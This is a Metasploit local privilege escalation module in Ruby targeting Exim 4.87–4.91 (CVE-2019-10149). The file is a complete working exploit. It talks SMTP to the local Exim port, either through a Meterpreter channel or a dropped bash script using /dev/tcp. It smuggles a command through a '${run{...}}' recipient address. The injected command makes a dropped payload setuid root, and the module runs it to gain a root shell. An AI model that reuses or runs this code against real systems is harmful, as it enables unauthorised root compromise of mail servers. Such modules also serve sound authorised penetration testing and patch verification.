##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Post::File
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',
        'Description' => %q{
          This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).
          Improper validation of recipient address in deliver_message()
          function in /src/deliver.c may lead to command execution with root privileges
          (CVE-2019-10149).
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Qualys', # Discovery and PoC (@qualys)
          'Dennis Herrmann', # Working exploit (@dhn)
          'Marco Ivaldi', # Working exploit (@0xdea)
          'Guillaume André' # Metasploit module (@yaumn_)
        ],
        'DisclosureDate' => '2019-06-05',
        'Platform' => [ 'linux' ],
        'Arch' => [ ARCH_X86, ARCH_X64 ],
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Targets' => [
          [
            'Exim 4.87 - 4.91',
            lower_version: Rex::Version.new('4.87'),
            upper_version: Rex::Version.new('4.91')
          ]
        ],
        'DefaultOptions' => {
          'PrependSetgid' => true,
          'PrependSetuid' => true
        },
        'References' => [
          [ 'CVE', '2019-10149' ],
          [ 'EDB', '46996' ],
          [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]
        ],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
            ]
          }
        },
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])
      ]
    )

    register_advanced_options(
      [
        OptFloat.new('ExpectTimeout', [ true, 'Timeout for Expect when communicating with exim', 3.5 ]),
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
      ]
    )
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def encode_command(cmd)
    '\x' + cmd.unpack('H2' * cmd.length).join('\x')
  end

  def open_tcp_connection
    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)
    params = Rex::Socket::Parameters.new({
      'PeerHost' => '127.0.0.1',
      'PeerPort' => datastore['EXIMPORT']
    })
    begin
      socket = socket_subsystem.create_tcp_client_channel(params)
    rescue StandardError => e
      vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                  'are you sure exim is listening on this port? (see EXIMPORT)')
      raise e
    end
    return socket_subsystem, socket
  end

  def inject_payload(payload)
    if session.type == 'meterpreter'
      socket_subsystem, socket = open_tcp_connection

      tcp_conversation = {
        nil => /220/,
        'helo localhost' => /250/,
        'MAIL FROM:<>' => /250/,
        "RCPT TO:<${run{#{payload}}}@localhost>" => /250/,
        'DATA' => /354/,
        'Received:' => nil,
        '.' => /250/
      }

      begin
        tcp_conversation.each do |line, pattern|
          if line
            if line == 'Received:'
              for i in (1..31)
                socket.puts("#{line} #{i}\n")
              end
            else
              socket.puts("#{line}\n")
            end
          end

          next unless pattern

          unless socket.expect(pattern, datastore['ExpectTimeout'])
            fail_with(Failure::TimeoutExpired, "Pattern not found: #{pattern.inspect}")
          end
        end
      rescue Rex::ConnectionError => e
        fail_with(Failure::Unreachable, e.message)
      ensure
        socket.puts("QUIT\n")
        socket.close
        socket_subsystem.shutdown
      end
    else
      unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\
                      '&& echo true').chomp.to_s == 'true'
        fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")
      end

      bash_script = %|
        #!/bin/bash

        exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}
        read -u 3 && echo $REPLY
        echo "helo localhost" >&3
        read -u 3 && echo $REPLY
        echo "mail from:<>" >&3
        read -u 3 && echo $REPLY
        echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3
        read -u 3 && echo $REPLY
        echo "data" >&3
        read -u 3 && echo $REPLY
        for i in $(seq 1 30); do
          echo 'Received: $i' >&3
        done
        echo "." >&3
        read -u 3 && echo $REPLY
        echo "quit" >&3
        read -u 3 && echo $REPLY
      |

      @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
      write_file(@bash_script_path, bash_script)
      register_file_for_cleanup(@bash_script_path)
      chmod(@bash_script_path)
      cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")
    end

    print_status('Payload sent, wait a few seconds...')
    Rex.sleep(5)
  end

  def on_new_session(session)
    super

    if session.type == 'meterpreter'
      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')
      session.fs.file.rm(@payload_path)
    else
      session.shell_command_token("rm -f #{@payload_path}")
    end
  end

  def check
    if session.type == 'meterpreter'
      begin
        socket_subsystem, socket = open_tcp_connection
      rescue StandardError
        return CheckCode::Safe('Could not connect to Exim service')
      end
      res = socket.gets
      socket.close
      socket_subsystem.shutdown
    else
      unless command_exists?('/bin/bash')
        return CheckCode::Safe('bash not found')
      end

      res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\
                     "(read -u 3 && echo $REPLY) || echo false'")
      if res == 'false'
        vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\
                     'are you sure exim is listening on this port? (see EXIMPORT)')
        return CheckCode::Safe('Could not connect to Exim service')
      end
    end

    if res =~ /Exim ([0-9\.]+)/i
      version = Rex::Version.new(Regexp.last_match(1))
      vprint_status("Found exim version: #{version}")
      if version >= target[:lower_version] && version <= target[:upper_version]
        return CheckCode::Appears("Exim version #{version} appears to be vulnerable")
      else
        return CheckCode::Safe("Exim version #{version} is not vulnerable")
      end
    end

    CheckCode::Unknown('Could not determine Exim version')
  end

  def exploit
    if !datastore['ForceExploit'] && is_root?
      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
    end

    unless writable?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is not writable")
    end

    if nosuid?(base_dir)
      fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")
    end

    unless datastore['PrependSetuid'] && datastore['PrependSetgid']
      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \
                                    'to get root privileges.')
    end

    unless session.type == 'meterpreter'
      unless command_exists?('/bin/bash')
        fail_with(Failure::NotFound, 'bash not found')
      end
    end

    @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))
    write_file(@payload_path, payload.encoded_exe)
    register_file_for_cleanup(@payload_path)
    inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\
                                  "chmod 4755 #{@payload_path}'"))

    unless setuid?(@payload_path)
      fail_with(Failure::Unknown, "Couldn't escalate privileges")
    end

    cmd_exec("#{@payload_path} & echo ")
  end
end
